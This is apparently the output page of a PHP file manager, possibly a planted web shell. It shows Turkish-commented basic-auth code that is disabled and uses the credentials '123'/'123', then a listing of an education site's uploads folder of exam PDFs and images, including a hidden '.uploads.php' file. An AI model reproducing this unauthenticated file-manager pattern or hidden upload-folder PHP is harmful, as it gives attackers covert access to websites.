# Konfigurasyon $sayfaSifreleme ='0'; # 1 acik , 0 kapali $kullaniciAdi = '123'; $sifre = '123'; # yetki kontrol fonksiyonu function yetkiKontrol($kullaniciAdi,$sifre) { if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") { header('WWW-Authenticate: Basic realm="x"'); die(header('HTTP/1.0 401 Unauthorized')); } } # Sayfa Sifreleme aciksa if($sayfaSifreleme =='1') { # Veri ve sifre kontrolu yetkiKontrol($kullaniciAdi,$sifre); } ?>
| Name | Size | Modified | Perms | Actions | |
|---|---|---|---|---|---|
| thumb | --- | March 15 2026 20:18:05. | 0755 | ||
| .uploads.php | 3.61 KB | April 24 2026 19:02:20. | 0644 | ||
| 100104-Ch-03_पहली_बूँद.pdf | 2.66 MB | June 23 2025 07:47:20. | 0644 | ||
| 100450-COURSE_DETAIL_NEET_CHEMISTRY.pdf | 197.86 KB | August 23 2023 16:41:01. | 0644 | ||
| 100464-EC_SecA-Q18.jpg | 43.73 KB | September 13 2023 14:06:59. | 0644 | ||
| 100538-Q.45_SOL..jpg | 14.41 KB | August 25 2022 09:47:26. | 0644 | ||
| 100747-TPF_SecA-Q12.jpg | 26.71 KB | October 19 2023 13:34:10. | 0644 | ||
| 100803-RBSE_2023.pdf.pdf | 104.85 KB | December 01 2025 07:05:48. | 0644 | ||
| 100810-WO_SecB-Q35.jpg | 18.13 KB | November 09 2023 06:57:07. | 0644 | ||
| 10082-cesa102.pdf | 2.21 MB | June 24 2025 07:32:14. | 0644 | ||
| 100919-689997-3._Electrochemistry_WC.pdf | 19.02 MB | October 06 2025 05:03:39. | 0644 | ||
| 100994-Ch-07_BINOMIAL_THEOREM.pdf | 741.32 KB | May 28 2025 05:21:32. | 0644 | ||
| 101062-Biotechnology_and_its_Application.jpg | 285.50 KB | June 06 2022 13:03:42. | 0644 | ||
| 101141-CK_SecA-Q19.jpg | 65.99 KB | September 15 2023 13:37:50. | 0644 | ||
| 101348-CH-03_Manushyata_(Mathilisharan_Gupta).pdf | 332.42 KB | July 11 2025 06:13:45. | 0644 | ||
| 101454-GP&P_SecB-Q10.jpg | 18.42 KB | November 18 2023 14:28:25. | 0644 | ||
| 101512-EC_SecA-Q54.jpg | 36.45 KB | September 13 2023 14:23:36. | 0644 | ||
| 10160-16_encironmental_issues_Test_Paper.xlsx | 16.86 KB | July 29 2022 06:32:43. | 0644 | ||
| 101744-iehp111.pdf | 2.78 MB | June 12 2025 07:11:09. | 0644 | ||
| 101854-U&M_SecA-Q42.jpg | 30.49 KB | August 27 2023 05:01:45. | 0644 | ||
| 101900-s-BE_SecA-Q21.jpg | 13.46 KB | December 12 2023 13:09:15. | 0644 | ||
| 102183-ihss401.pdf | 2.53 MB | June 04 2025 05:08:45. | 0644 | ||
| 102196-Amins_SecA-Q13.jpg | 23.01 KB | November 24 2023 13:47:38. | 0644 | ||
| 102345-36919-Class9_Chapter3_MCQ_Explained.xlsx | 6.09 KB | July 14 2025 19:25:36. | 0644 | ||
| 102641-ihkr103.pdf | 1.10 MB | May 29 2025 08:15:01. | 0644 | ||
| 102658-pBE_SecA-Q38.jpg | 16.05 KB | November 19 2023 04:12:59. | 0644 | ||
| 102681-SBCC_SecA-Q13.jpg | 45.31 KB | August 20 2023 06:04:30. | 0644 | ||
| 102719-MIP_SecA-Q7.jpg | 33.81 KB | September 22 2023 14:23:07. | 0644 | ||
| 102785-Plant_Kingdom_Online_Content_(1).pdf | 594.29 KB | July 31 2023 13:30:14. | 0644 | ||
| 102889-l&m_L2_(1)_11zon.pdf | 1.10 MB | September 21 2022 13:05:02. | 0644 | ||
| 102992-CS_SecA_22.png | 16.86 KB | November 11 2023 05:42:15. | 0644 | ||
| 10318-Q.36.jpg | 5.49 KB | August 25 2022 09:46:36. | 0644 | ||
| 103203-WEP_SecA-Q14.jpg | 40.71 KB | September 24 2023 06:53:26. | 0644 | ||
| 103233-APE_SecB-Q9.jpg | 32.51 KB | November 24 2023 12:36:56. | 0644 | ||
| 103314-H&H_SecA-Q27.jpg | 32.65 KB | November 24 2023 11:58:38. | 0644 | ||
| 103443-SOA_SecA-Q48.jpg | 40.85 KB | August 19 2023 13:38:08. | 0644 | ||
| 103521-MT-2_PQ12.jpg | 16.03 KB | July 26 2023 13:48:46. | 0644 | ||
| 103551-kebo111.pdf | 2.08 MB | June 04 2025 07:19:55. | 0644 | ||
| 103569-s-BE_SecB-Q5.jpg | 62.08 KB | December 03 2023 05:37:29. | 0644 | ||
| 103640-Q.11_Sol..jpg | 12.93 KB | August 26 2022 06:02:14. | 0644 | ||
| 10376-Poly_SecB-Q18.jpg | 21.51 KB | November 27 2023 13:09:41. | 0644 | ||
| 104049-khmh109.pdf | 2.15 MB | May 28 2025 05:30:11. | 0644 | ||
| 104314-Wav_SecB-Q21.jpg | 28.75 KB | November 21 2023 13:44:52. | 0644 | ||
| 104315-lefl111.pdf | 368.51 KB | June 05 2025 06:29:58. | 0644 | ||
| 104632-6._Electromagnetic_Induction_WC.pdf | 11.87 MB | October 15 2023 17:12:24. | 0644 | ||
| 104710-Ch-02_FrIendshIp.pdf | 11.70 MB | June 23 2025 08:03:01. | 0644 | ||
| 104726-U&M_SecA-Q26.jpg | 30.29 KB | August 27 2023 04:55:21. | 0644 | ||
| 104734-LoM_SecB-Q17.jpg | 44.29 KB | September 24 2023 05:52:16. | 0644 | ||
| 104847-48735-8._Electromagnetic_Waves_(1).pdf | 4.40 MB | July 26 2025 06:15:39. | 0644 | ||
| 105154-Ch-04_हार_की_जीत.pdf | 2.43 MB | June 23 2025 07:31:18. | 0644 | ||
| 105277-kehb114.pdf | 608.04 KB | June 05 2025 11:15:40. | 0644 | ||
| 105304-H&H_SecA-Q9.jpg | 22.61 KB | November 24 2023 11:50:43. | 0644 | ||
| 105319-srifp_l8.pdf | 2.56 MB | November 21 2022 13:40:49. | 0644 | ||
| 105390-TD_SecA_Excel_File.xlsx | 12.55 KB | October 09 2025 06:04:03. | 0644 | ||
| 105508-jehp113.pdf | 1.94 MB | May 29 2025 07:22:32. | 0644 | ||
| 105560-PW_SecA-Q1.jpg | 25.82 KB | August 15 2023 10:23:01. | 0644 | ||
| 105771-Sol_SecA-Q19.jpg | 63.08 KB | August 22 2023 14:06:04. | 0644 | ||
| 1059-WO_SecA-Q9.jpg | 30.25 KB | November 09 2023 06:22:19. | 0644 | ||
| 106062-SOA_SecB-Q5.jpg | 20.91 KB | August 19 2023 13:58:29. | 0644 | ||
| 106103-Sol_SecA-Q4.jpg | 49.34 KB | August 22 2023 13:31:22. | 0644 | ||
| 106261-Minor_Test-4_Mathematics_(12th_CBSE).pdf | 335.64 KB | December 13 2025 12:34:08. | 0644 | ||
| 10629-pBE_SecA-Q43.jpg | 30.34 KB | November 19 2023 04:14:23. | 0644 | ||
| 10634-CS_SecA_03.png | 22.38 KB | November 11 2023 05:33:33. | 0644 | ||
| 106382-TN_CHEM_COURSE.jpg | 336.65 KB | September 27 2023 05:11:21. | 0644 | ||
| 106410-KT_SecB-Q7.jpg | 38.77 KB | November 20 2023 14:17:15. | 0644 | ||
| 106508-lhch202.pdf | 4.92 MB | June 09 2025 06:11:31. | 0644 | ||
| 106775-s-BE_SecB-Q11.jpg | 31.19 KB | December 03 2023 05:39:13. | 0644 | ||
| 106776-jehp110.pdf | 2.22 MB | May 29 2025 07:21:43. | 0644 | ||
| 10684-aemr105.pdf | 2.31 MB | June 26 2025 08:15:28. | 0644 | ||
| 107025-HC_SecB-Q12.jpg | 40.90 KB | October 05 2023 13:04:09. | 0644 | ||
| 107103-TPF_SecB-Q5.jpg | 35.91 KB | October 19 2023 13:50:04. | 0644 | ||
| 107123-Motion_in_Plain.pdf | 5.84 MB | August 30 2023 14:31:15. | 0644 | ||
| 107206-iehp109.pdf | 5.12 MB | June 12 2025 07:10:08. | 0644 | ||
| 107358-Wav_SecB-Q37.jpg | 58.15 KB | November 21 2023 13:48:41. | 0644 | ||
| 107504-11th_Biology_DPPs.pdf | 6.64 MB | May 25 2023 02:44:53. | 0644 | ||
| 107752-TD_SecA-Q26.jpg | 35.08 KB | September 19 2023 13:43:36. | 0644 | ||
| 107804-JUNOON-SAMPOORNA_TT_WEEK7.pdf | 72.33 KB | July 17 2023 03:39:59. | 0644 | ||
| 107916-LoM_SecA-Q47.jpg | 41.41 KB | September 24 2023 05:33:17. | 0644 | ||
| 108063-EC_SecA-Q15.jpg | 17.20 KB | December 11 2023 12:51:13. | 0644 | ||
| 108360-OSC_SecA-Q13.jpg | 25.25 KB | November 21 2023 12:47:03. | 0644 | ||
| 108383-Ch-03_TRIGONOMETRIC_FUNCTIONS.pdf | 2.39 MB | May 28 2025 05:20:20. | 0644 | ||
| 108393-PEE_SecA-Q23.jpg | 20.20 KB | November 10 2023 04:44:08. | 0644 | ||
| 108630-WEP_SecA-Q46.jpg | 16.42 KB | September 24 2023 07:08:07. | 0644 | ||
| 108830-COE_SecB-Q15.jpg | 43.64 KB | August 20 2023 04:34:02. | 0644 | ||
| 108852-MIP_SecA-Q34.jpg | 55.76 KB | September 23 2023 14:06:29. | 0644 | ||
| 109083-2._UNITS_AND_MEASUREMENT.pdf | 5.66 MB | August 30 2023 14:26:14. | 0644 | ||
| 109185-EC_SecA-Q19.jpg | 22.79 KB | December 11 2023 12:53:27. | 0644 | ||
| 109309-BM_SecA-Q16.jpg | 15.04 KB | November 24 2023 14:25:41. | 0644 | ||
| 109385-tn_sfr_evo.jpg | 274.56 KB | May 28 2022 05:03:07. | 0644 | ||
| 109475-Poly_SecB-Q8.jpg | 33.50 KB | November 27 2023 13:05:31. | 0644 | ||
| 10951-demm109.pdf | 3.15 MB | June 23 2025 11:52:47. | 0644 | ||
| 109888-APE_SecA-Q11.jpg | 23.49 KB | November 24 2023 12:16:32. | 0644 | ||
| 110416-ceky106.pdf | 2.23 MB | June 25 2025 05:52:07. | 0644 | ||
| 11049-jhmh103.pdf | 1.32 MB | May 26 2025 12:18:22. | 0644 | ||
| 11052-aemr109.pdf | 1.23 MB | June 26 2025 08:18:53. | 0644 | ||
| 110583-kehb106.pdf | 1.09 MB | June 05 2025 11:13:47. | 0644 | ||
| 110770-Transport_in_p_Test_Paper.xlsx | 16.92 KB | June 06 2022 14:13:12. | 0644 | ||
| 110941-100_Question_Paper_With_Solution_-_7.xlsx | 26.06 KB | April 21 2023 06:33:40. | 0644 | ||
| 111090-PEE_SecA-Q16.jpg | 27.18 KB | November 10 2023 04:42:26. | 0644 | ||
| 111192-361075-7._Alternating_Current.pdf | 5.34 MB | July 26 2025 06:06:26. | 0644 | ||
| 111195-SE_SecB-Q21.jpg | 18.98 KB | November 10 2023 06:52:06. | 0644 | ||
| 111242-CH-8_Kathmandu.pdf | 1.02 MB | May 29 2025 07:38:18. | 0644 | ||
| 111326-pBE_SecB-Q17.jpg | 14.41 KB | November 19 2023 04:26:24. | 0644 | ||
| 11149-demm102.pdf | 4.15 MB | June 23 2025 11:44:15. | 0644 | ||
| 111640-CH-6_LINES_AND_ANGLES.pdf | 1.04 MB | June 03 2025 05:30:16. | 0644 | ||
| 111668-ch-10_The_Human_Eye_and_the_Colourful_World.pdf | 1.08 MB | May 26 2025 12:09:21. | 0644 | ||
| 111749-SOA_SecA-Q30.jpg | 14.97 KB | August 19 2023 13:28:20. | 0644 | ||
| 111752-hesc112.pdf | 1.45 MB | June 09 2025 04:22:01. | 0644 | ||
| 111949-Minor_Test-11_Chemistry_(12th_CBSE)_PC.pdf | 258.57 KB | January 09 2026 05:21:31. | 0644 | ||
| 112-bemr110.pdf | 1.31 MB | June 26 2025 05:23:33. | 0644 | ||
| 112380-CIEL_SecA-Q35.jpg | 24.96 KB | November 27 2023 13:46:33. | 0644 | ||
| 112476-11._Biotechnology_–_Principles_and_Processes.pdf | 1.01 MB | January 29 2024 06:12:22. | 0644 | ||
| 112523-TPF_SecA-Q11.jpg | 42.55 KB | October 19 2023 13:33:43. | 0644 | ||
| 112670-09._BIOMOLECULES.pdf | 1.46 MB | July 25 2022 08:34:12. | 0644 | ||
| 112786-Structure_of_Atom_11zon.pdf | 5.30 MB | July 15 2025 05:53:36. | 0644 | ||
| 112835-TPF_SecB-Q17.jpg | 16.92 KB | October 19 2023 13:53:51. | 0644 | ||
| 112901-lhvt103.pdf | 1.95 MB | June 21 2025 08:00:31. | 0644 | ||
| 113135-lhbo108.pdf | 1.27 MB | June 11 2025 11:11:52. | 0644 | ||
| 113174-LoM_SecB-Q19.jpg | 36.37 KB | September 24 2023 05:53:17. | 0644 | ||
| 113223-GRA_SecB-Q3.jpg | 47.13 KB | September 10 2023 05:50:47. | 0644 | ||
| 113223-RIP__merged.pdf | 14.55 MB | January 25 2023 03:45:01. | 0644 | ||
| 113413-05._Coordination_Compound.pdf | 20.87 MB | July 15 2025 06:21:27. | 0644 | ||
| 113542-CHEMICAL_BONDING_AND_MOLECULAR_STRUCTURE_(2).pdf | 27.16 MB | February 21 2024 10:46:52. | 0644 | ||
| 113624-06._ANATOMY_OF_FLOWERING_PLANTS_11zon.pdf | 2.86 MB | August 01 2022 08:29:31. | 0644 | ||
| 113726-CB&MS_SecB-Q3.jpg | 28.25 KB | August 20 2023 05:37:26. | 0644 | ||
| 113836-Amins_SecA-Q32.jpg | 33.41 KB | November 24 2023 13:56:15. | 0644 | ||
| 113983-Ch-12_SURFACE_AREAS_AND_VOLUMES.pdf | 979.82 KB | May 26 2025 12:02:22. | 0644 | ||
| 114145-CLASS-11_(6).png | 882.41 KB | August 14 2025 09:29:44. | 0644 | ||
| 114368-Ch-06_Contro_and_coordination.pdf | 3.08 MB | February 27 2026 13:41:09. | 0644 | ||
| 114411-EMI_SecA-Q26.jpg | 24.65 KB | September 26 2023 14:17:27. | 0644 | ||
| 114649-Q.58.jpg | 6.48 KB | August 03 2022 06:04:14. | 0644 | ||
| 114696-Wav_SecB-Q39.jpg | 55.55 KB | November 21 2023 13:49:17. | 0644 | ||
| 114712-Equi_SecA-Q25.jpg | 48.42 KB | September 13 2023 12:54:13. | 0644 | ||
| 114735-WEP_SecB-Q27.jpg | 34.84 KB | September 24 2023 07:24:32. | 0644 | ||
| 115169-GRA_SecA-Q22.jpg | 36.92 KB | September 10 2023 05:37:34. | 0644 | ||
| 115311-Ch-09_The_Book_That_Saved_the_Earth.pdf | 3.24 MB | May 28 2025 04:49:36. | 0644 | ||
| 115493-WhatsApp_Image_2025-07-15_at_1.54.04_PM_(1).jpeg | 162.63 KB | July 15 2025 08:30:44. | 0644 | ||
| 115613-Atoms_SecB-Q13.jpg | 40.61 KB | November 10 2023 05:44:20. | 0644 | ||
| 115669-HYD_SecA-Q23.jpg | 25.27 KB | December 03 2023 07:15:58. | 0644 | ||
| 115702-Q.28_.jpg | 8.82 KB | August 25 2022 09:27:58. | 0644 | ||
| 115723-TN_NEET_BIOLOGY_COURSE.jpg | 334.63 KB | August 23 2023 16:26:12. | 0644 | ||
| 115865-Nuclei_SecA-Q33.jpg | 53.15 KB | September 11 2023 14:09:35. | 0644 | ||
| 115924-PEE_SecB-Q7.jpg | 32.97 KB | November 10 2023 04:49:13. | 0644 | ||
| 116003-Q.21.jpg | 43.75 KB | July 01 2023 03:54:40. | 0644 | ||
| 116154-SOA_SecA-Q2.jpg | 14.70 KB | August 19 2023 13:09:18. | 0644 | ||
| 116196-HYD_SecB-Q28.jpg | 37.19 KB | December 04 2023 12:46:47. | 0644 | ||
| 1162-PEE_SecA-Q11.jpg | 52.03 KB | November 09 2023 07:58:06. | 0644 | ||
| 116392-lhph106.pdf | 2.08 MB | June 09 2025 05:59:05. | 0644 | ||
| 11654-jhks107.pdf | 796.85 KB | May 29 2025 05:44:26. | 0644 | ||
| 116595-CIEL_SecA-Q38.jpg | 24.08 KB | November 27 2023 13:47:24. | 0644 | ||
| 116710-EMI_SecA-Q8.jpg | 39.81 KB | September 26 2023 14:10:33. | 0644 | ||
| 116712-Amins_SecB-Q9.jpg | 44.99 KB | November 24 2023 14:07:12. | 0644 | ||
| 116793-lhar106.pdf | 1.27 MB | June 20 2025 08:16:04. | 0644 | ||
| 116957-ISSP_MEMBER_SIGNATURE.pdf | 200.16 KB | May 23 2025 17:02:59. | 0644 | ||
| 116974-EC&F_SecB-Q5.jpg | 25.75 KB | August 16 2023 12:30:53. | 0644 | ||
| 117023-PW_SecA-Q28.jpg | 33.45 KB | August 15 2023 10:33:36. | 0644 | ||
| 117118-EMW_SecA-Q13.jpg | 27.08 KB | November 07 2023 13:28:23. | 0644 | ||
| 117221-Ch-01_FabLes_and_FoLk_TaLes.pdf | 13.39 MB | June 23 2025 08:02:03. | 0644 | ||
| 117282-AK&CA_SecB-Q4.jpg | 28.88 KB | November 24 2023 13:13:24. | 0644 | ||
| 117437-MPS_SecA-Q17.jpg | 44.18 KB | September 22 2023 12:58:28. | 0644 | ||
| 117521-Wav_SecB-Q11.jpg | 27.32 KB | November 21 2023 13:42:11. | 0644 | ||
| 117953-Ray_Optics_and_Optical_Instruments.pdf | 25.92 MB | January 02 2024 12:30:37. | 0644 | ||
| 118533-CH-3_Metals_and_Non-metals.pdf | 2.18 MB | May 26 2025 12:05:38. | 0644 | ||
| 118735-CIEL_SecA-Q45.jpg | 24.25 KB | November 27 2023 13:50:08. | 0644 | ||
| 118860-D&A_L6-physiology_11zon.pdf | 1.26 MB | August 28 2022 17:03:11. | 0644 | ||
| 118963-EP&C_SecB-Q38.jpg | 39.96 KB | September 03 2023 05:17:56. | 0644 | ||
| 119016-MISL_SecB-Q29.jpg | 75.38 KB | August 27 2023 08:58:46. | 0644 | ||
| 119065-SS_SecA-Q17.jpg | 44.33 KB | August 20 2023 06:51:44. | 0644 | ||
| 119247-Nuclei_SecA-Q4.jpg | 15.38 KB | September 11 2023 13:52:58. | 0644 | ||
| 119324-BC-10.jpg | 20.17 KB | July 25 2022 04:59:24. | 0644 | ||
| 119434-SE_SecA-Q39.jpg | 17.09 KB | November 10 2023 06:45:33. | 0644 | ||
| 119482-Chapter_2_Linear_Equations.xlsx | 6.58 KB | June 16 2025 04:35:58. | 0644 | ||
| 119694-CK_SecA-Q30.jpg | 28.48 KB | September 15 2023 13:42:26. | 0644 | ||
| 119881-pBE_SecA-Q40.jpg | 44.16 KB | November 19 2023 04:13:26. | 0644 | ||
| 119940-Wav_SecA-Q49.jpg | 49.00 KB | November 21 2023 13:37:34. | 0644 | ||
| 12-kehb116.pdf | 343.59 KB | June 05 2025 11:16:38. | 0644 | ||
| 12005-AK&CA_SecB-Q22.jpg | 47.16 KB | November 24 2023 13:26:06. | 0644 | ||
| 120373-biomolecules_Test_Paper.xlsx | 17.01 KB | June 06 2022 12:50:53. | 0644 | ||
| 120478-NCC_L7.pdf | 2.44 MB | January 25 2023 03:53:25. | 0644 | ||
| 120480-13._PHOTOSYNTHESIS_IN_HIGHER_PLANTS_11zon.pdf | 2.82 MB | August 02 2022 09:28:13. | 0644 | ||
| 120623-Q.29.jpg | 23.85 KB | August 26 2022 07:14:41. | 0644 | ||
| 120746-kech102.pdf | 4.73 MB | June 04 2025 06:35:08. | 0644 | ||
| 120893-01.THE-LIVING-WORLD_(1).pdf | 2.62 MB | June 08 2023 04:19:34. | 0644 | ||
| 120984-CLASS-11_(4).jpg | 85.24 KB | June 07 2025 04:42:28. | 0644 | ||
| 121103-Q.26_SOL..jpg | 9.21 KB | August 25 2022 08:42:33. | 0644 | ||
| 121143-100_Question_Paper_With_Solution_-_4.xlsx | 25.72 KB | February 24 2023 12:03:20. | 0644 | ||
| 121172-PEE_SecA-Q6.jpg | 37.13 KB | September 03 2023 05:34:30. | 0644 | ||
| 121190-MPF_SecB-Q30.jpg | 46.61 KB | October 19 2023 12:48:12. | 0644 | ||
| 121326-MPS_SecA-Q53.jpg | 34.02 KB | September 22 2023 13:09:22. | 0644 | ||
| 121452-D&FB_SecB-Q5.jpg | 27.41 KB | November 19 2023 05:28:38. | 0644 | ||
| 121698-Wav_SecB-Q19.jpg | 43.08 KB | November 21 2023 13:44:23. | 0644 | ||
| 121741-EC_SecB-Q21.jpg | 16.90 KB | December 11 2023 13:09:39. | 0644 | ||
| 121742-NCC_L3_(1).pdf | 4.27 MB | January 25 2023 03:49:57. | 0644 | ||
| 12179-EMW_SecB-Q3.jpg | 25.00 KB | November 07 2023 13:32:59. | 0644 | ||
| 122082-EP&C_SecA-Q35.jpg | 39.47 KB | September 01 2023 13:00:22. | 0644 | ||
| 122157-D&FB_SecA-Q13.jpg | 12.23 KB | November 19 2023 05:20:21. | 0644 | ||
| 122162-TT14R.pdf | 64.87 KB | December 09 2022 18:56:11. | 0644 | ||
| 122263-Q.14_B.jpg | 16.01 KB | July 01 2023 03:16:55. | 0644 | ||
| 122518-EP&C_SecA-Q15.jpg | 35.27 KB | September 01 2023 12:55:18. | 0644 | ||
| 12263-TD_SecA-Q7.jpg | 52.10 KB | September 19 2023 13:28:20. | 0644 | ||
| 122914-Ch-4_QUADRATIC_EQUATIONS.pdf | 865.99 KB | May 26 2025 11:59:42. | 0644 | ||
| 122982-CK_SecA-Q28.jpg | 49.54 KB | September 15 2023 13:41:34. | 0644 | ||
| 122996-CB&MS_SecA-Q28.jpg | 42.81 KB | August 20 2023 05:23:45. | 0644 | ||
| 123-Physics.pdf | 3.85 MB | May 06 2025 07:11:26. | 0644 | ||
| 123095-Ch-05_CONTINUITY_AND_DIFFERENTIABILITY.pdf | 3.02 MB | June 05 2025 04:08:53. | 0644 | ||
| 123184-D&FB_SecB-Q24.jpg | 16.70 KB | November 19 2023 05:38:44. | 0644 | ||
| 123480-APE_SecB-Q5.jpg | 40.82 KB | November 24 2023 12:33:16. | 0644 | ||
| 123487-CIEL_SecA-Q14.jpg | 32.74 KB | November 27 2023 13:25:38. | 0644 | ||
| 123598-4._How_do_Organisms_Reproduce_Final.pdf | 11.78 MB | October 06 2025 11:16:47. | 0644 | ||
| 123722-TD_SecB-Q28.jpg | 31.18 KB | November 20 2023 13:13:34. | 0644 | ||
| 123915-100_Question_Paper_With_Solution_-_3.xlsx | 25.18 KB | April 21 2023 05:09:52. | 0644 | ||
| 123928-HHD_clear_FINAL_session.pdf | 37.06 MB | March 15 2023 19:41:16. | 0644 | ||
| 12416-BM_SecB-Q7.jpg | 35.45 KB | November 25 2023 14:39:49. | 0644 | ||
| 12420-MISL_SecA-Q16.jpg | 35.24 KB | August 27 2023 08:39:31. | 0644 | ||
| 124431-H&H_SecB-Q13.jpg | 56.61 KB | November 24 2023 12:07:59. | 0644 | ||
| 124496-MIP_SecA-Q27.jpg | 39.87 KB | September 23 2023 12:30:37. | 0644 | ||
| 124508-11_biotech_principle_n_processes_Test_Paper.xlsx | 19.07 KB | July 29 2022 06:28:35. | 0644 | ||
| 124649-SOA_SecB-Q23.jpg | 18.11 KB | August 19 2023 14:05:27. | 0644 | ||
| 124688-jhss204.pdf | 11.82 MB | May 27 2025 12:27:23. | 0644 | ||
| 124812-5._Laws_of_Motion.pdf | 8.32 MB | August 30 2023 14:33:15. | 0644 | ||
| 124848-Nuclei_SecA-Q25.jpg | 73.57 KB | September 11 2023 14:02:50. | 0644 | ||
| 124990-13._PHOTOSYNTHESIS_IN_HIGHER_PLANTS_11zon.pdf | 2.82 MB | August 02 2022 09:30:45. | 0644 | ||
| 125052-zoologyVideoLecture.jpeg | 306.78 KB | July 18 2022 18:03:53. | 0644 | ||
| 125084-TLW-34.jpg | 40.46 KB | July 24 2022 08:32:28. | 0644 | ||
| 125199-EMI_SecB-Q11.jpg | 38.60 KB | September 27 2023 12:55:30. | 0644 | ||
| 125247-HYD_SecA-Q18.jpg | 22.66 KB | December 03 2023 07:13:09. | 0644 | ||
| 125388-DocScanner_Sep_1,_2022_12-42_AM.pdf | 3.18 MB | September 04 2022 17:25:58. | 0644 | ||
| 12566-398608-1._Physical_World_DPP.pdf | 880.55 KB | July 26 2025 05:29:24. | 0644 | ||
| 125678-889300-CLASSIFICATION_OF_ELEMENTS_AND_PERIODICITY_IN_PROPERTIES_WC_(1).pdf | 772.00 KB | October 06 2025 05:18:12. | 0644 | ||
| 125685-CB&MS_SecA-Q6.jpg | 49.91 KB | August 20 2023 05:15:08. | 0644 | ||
| 125708-SC_SecA-Q32.jpg | 33.17 KB | September 17 2023 05:17:38. | 0644 | ||
| 125916-Nuclei_SecA-Q33.jpg | 53.15 KB | September 11 2023 13:21:48. | 0644 | ||
| 126041-SBCC_SecA_Excel_File.xlsx | 12.12 KB | July 15 2025 06:47:44. | 0644 | ||
| 126084-srifp_L6.pdf | 1.17 MB | November 21 2022 13:30:31. | 0644 | ||
| 126125-639116-Redox_Reactions.pdf | 6.91 MB | October 06 2025 05:45:34. | 0644 | ||
| 126130-WO_SecB-Q14.jpg | 25.33 KB | November 09 2023 06:49:44. | 0644 | ||
| 126217-OSC_SecA-Q31.jpg | 34.27 KB | November 21 2023 12:51:55. | 0644 | ||
| 12633-Laws_of_Motion_chapter_5.pdf | 6.05 MB | July 26 2023 06:32:03. | 0644 | ||
| 126354-U&M_SecA-Q5.jpg | 15.20 KB | August 27 2023 04:48:52. | 0644 | ||
| 126513-Class9_Chapter3_MCQ_Explained.xlsx | 6.09 KB | July 07 2025 05:49:52. | 0644 | ||
| 126552-SoF_SecA-Q35.jpg | 27.72 KB | December 13 2023 14:26:18. | 0644 | ||
| 126627-PEE_SecB-Q17.jpg | 29.75 KB | September 03 2023 05:46:22. | 0644 | ||
| 126657-kebo104.pdf | 5.47 MB | June 04 2025 06:49:15. | 0644 | ||
| 126705-EC_SecB-Q13.jpg | 21.18 KB | September 14 2023 13:21:08. | 0644 | ||
| 126811-ISSP_MEMBER_SIGNATURE.pdf | 200.16 KB | May 23 2025 17:17:50. | 0644 | ||
| 126848-WO_SecA-Q32.jpg | 84.44 KB | November 09 2023 06:32:09. | 0644 | ||
| 126944-RO&OI_SecA-Q2.jpg | 22.38 KB | November 09 2023 04:59:51. | 0644 | ||
| 126990-ehhn102.pdf | 1.02 MB | June 27 2025 04:58:13. | 0644 | ||
| 127093-AK&CA_SecB-Q31.jpg | 27.74 KB | November 24 2023 13:29:09. | 0644 | ||
| 127255-s-BE_SecA-Q13.jpg | 18.70 KB | December 12 2023 13:06:33. | 0644 | ||
| 127304-APE_SecA_Excel_File.xlsx | 12.71 KB | October 08 2025 06:20:14. | 0644 | ||
| 127425-CC_SecA-Q24.jpg | 20.06 KB | November 19 2023 06:06:30. | 0644 | ||
| 127569-Q.6_Sol..jpg | 4.71 KB | August 26 2022 05:53:17. | 0644 | ||
| 127585-JUNOON-SAMPOORNA_TT_WEEK5.pdf | 1.48 MB | July 05 2023 01:33:50. | 0644 | ||
| 127617-RR_SecB-Q1.jpg | 20.46 KB | December 03 2023 06:33:48. | 0644 | ||
| 127689-physics_qrn.jpg | 289.30 KB | December 04 2023 04:53:39. | 0644 | ||
| 127748-SS_SecB-Q13.jpg | 23.67 KB | August 21 2023 12:57:51. | 0644 | ||
| 127817-CIEL_SecA-Q43.jpg | 34.95 KB | November 27 2023 13:48:57. | 0644 | ||
| 127873-hhvs104.pdf | 367.75 KB | June 09 2025 06:20:12. | 0644 | ||
